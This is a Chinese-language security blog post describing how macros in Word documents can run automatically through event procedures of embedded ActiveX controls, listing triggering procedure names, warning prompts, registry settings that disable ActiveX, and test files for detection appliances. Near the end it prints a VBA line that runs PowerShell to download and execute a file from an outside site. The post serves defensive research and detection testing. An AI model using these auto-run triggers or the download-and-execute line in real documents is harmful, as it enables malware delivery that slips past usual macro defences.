几个月前,我遇到了一个恶意的宏 Word 文档,经过分析,发现它正在使用一个新的方法来执行宏。我不确定以前是否使用过这种方法,但它使用的是在文档中嵌入 ActiveX 控件对象的宏。
大多数恶意 Word 文档使用常用的保留名称,例如 AutoOpen() 和 Document_Open() 来自动运行宏。该文档使用名为 InkPicture1_Painted() 的子程序在启用 ActiveX 控件后执行代码。该例程来自嵌入在文档中的 ActiveX 控件 Microsoft InkPicture Control
。
1 恶意使用 ActiveX 控件
在文档中嵌入 ActiveX 控件非常简单,启用开发人员选项卡 (文件 -> 选项 -> 自定义功能区) 后,转到功能区上的开发人员选项卡和控件部分,给出了一个控件列表,可用于嵌入到文档中,如下图所示:
![图片[1]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/inkpicturecontrol.png)
每个控件都提供了向其程序添加宏的选项
![图片[2]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/inkpicturemacro.png)
可以在下面看到有几十个程序可以使用
![图片[3]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/inkpictureprocedures.png)
在测试了每个 ActiveX 控件对象及其所有程序之后,大量程序能够自动运行宏。并非所有控件都可以嵌入到文档中,但大多数可以嵌入,如下表中所示:
ActiveX 控件 | 子程序名称 |
Microsoft Forms 2.0 Frame | Frame1_Layout |
Microsoft Forms 2.0 MultiPage | MultiPage1_Layout |
Microsoft ImageComboBox Control, version 6.0 | MultiPage1_Layout |
Microsoft InkEdit Control | InkEdit1_GotFocus |
Microsoft InkPicture Control | InkPicture1_Painted InkPicture1_Painting InkPicture1_Resize |
System Monitor Control | SystemMonitor1_GotFocus SystemMonitor1_LostFocus |
Microsoft Web Browser | WebBrowser1_BeforeNavigate2 WebBrowser1_BeforeScriptExecute WebBrowser1_DocumentComplete WebBrowser1_DownloadBegin WebBrowser1_DownloadComplete WebBrowser1_FileDownload WebBrowser1_NavigateComplete2 WebBrowser1_NavigateError WebBrowser1_ProgressChange WebBrowser1_PropertyChange WebBrowser1_SetSecureLockIcon WebBrowser1_StatusTextChange WebBrowser1_TitleChange |
当与这些子例程名称一起使用时,下面列出的控件有一个有趣的行为,即在嵌入对象的顶部移动鼠标会触发宏:
ActiveX 控件 | 子程序名称 |
Microsoft Forms 2.0 Frame | Frame1_MouseMove |
Microsoft Forms 2.0 MultiPage | MultiPage1_MouseMove |
Microsoft Forms 2.0 MultiPage | InkEdit1_MouseMove |
Microsoft InkPicture Control | InkPicture1_MouseMove InkPicture1_MouseHover InkPicture1_MouseEnter InkPicture1_MouseLeave |
Microsoft Forms 2.0 CheckBox | CheckBox1_MouseMove |
Microsoft Forms 2.0 ComboBox | ComboBox1_MouseMove |
Microsoft Forms 2.0 CommandButton | ComboBox1_MouseMove |
Microsoft Forms 2.0 Image | Image1_MouseMove |
Microsoft Forms 2.0 Label | Label1_MouseMove |
Microsoft Forms 2.0 ListBox | ListBox1_MouseMove |
Microsoft Forms 2.0 OptionButton | OptionButton1_MouseMove |
Microsoft Forms 2.0 TabStrip | TabStrip1_MouseMove |
Microsoft Forms 2.0 TextBox | TextBox1_MouseMove |
Microsoft Forms 2.0 Toggle Button | ToggleButton1_MouseMove |
Microsoft ListView Control, version 6.0 | ListView41_MouseMove |
Microsoft ProgressBar Control, version 6.0 | ListView41_MouseMove |
Microsoft Slider Control, version 6.0 | Slider21_MouseMove |
Microsoft StatusBar Control, version 6.0 | StatusBar31_MouseMove |
Microsoft TabStrip Control, version 6.0 | TabStrip31_MouseMove |
Microsoft TabStrip Control, version 6.0 | Toolbar31_MouseMove |
Microsoft TabStrip Control, version 6.0 | TreeView41_MouseMove |
MSREdit Class | AMSREdit1_MouseMove |
还有更多没有列出的 ActiveX 控件,因为它们需要一些进一步的操作,即单击嵌入的对象以触发宏。测试主要在 Windows 7 上使用 Microsoft Office 2010 x64 的 Word 和 Excel 进行。
2 用户感知
用户本应该知道宏是危险的,因此,收到它们也会给出两个警告提示。第一个是从 Internet 接收文档时通常的 “受保护视图” 警告:
![图片[4]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/wordprotviewwarning.png)
启用编辑后,通常会出现宏提示,此时我们希望用户在点击前三思:
![图片[5]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/wordmacrowarning.png)
对于与 ActiveX 控件一起使用的宏,我们看不到通常的宏警告提示,而是一个 ActiveX 提示:
![图片[6]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/wordactivexwarning.png)
3 缓解措施
如果需要,Microsoft Office 中有一些设置可以完全禁用 ActiveX 控件:
![图片[7]-通过 ActiveX 控件运行宏](https://res.zeronohacker.com/2021/12/activexdisable.png)
使用注册表设置:
Disable all controls without notification
[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000001
Prompt me before enabling UFI controls
[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000004 (3 if Safe mode unticked)
Prompt me before enabling all controls with minimal restrictions
[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000006 (5 if Safe mode unticked)
Enable all controls without restrictions and without prompting
[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000002 (1 if Safe mode unticked)
4 测试威胁检测设备
可以下载此 zip 文件 (密码为 “macros”),其中包含三个文档,可用于测试设备以查看它们的得分情况:
- document_open_messbox.docm:使用普通的保留名称 Document_Open 来自动运行宏;
- inkedit1_gotfocus_messbox.docm:使用 ActiveX “Microsoft InkEdit Control” 自动运行宏;
- inkedit1_mousemove_messbox.docm:使用 ActiveX “Microsoft InkEdit Control” 通过鼠标在页面上移动来运行宏;
文档中包含的宏使用 Powershell 从我的站点下载并执行 messbox.exe,因此应将所有三个文档都标记为恶意文档。
run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)
知道哪些设备将哪些文档标记为恶意文件会很有趣,所以请发推文或添加评论,谢谢大家。
请登录后发表评论
注册
社交帐号登录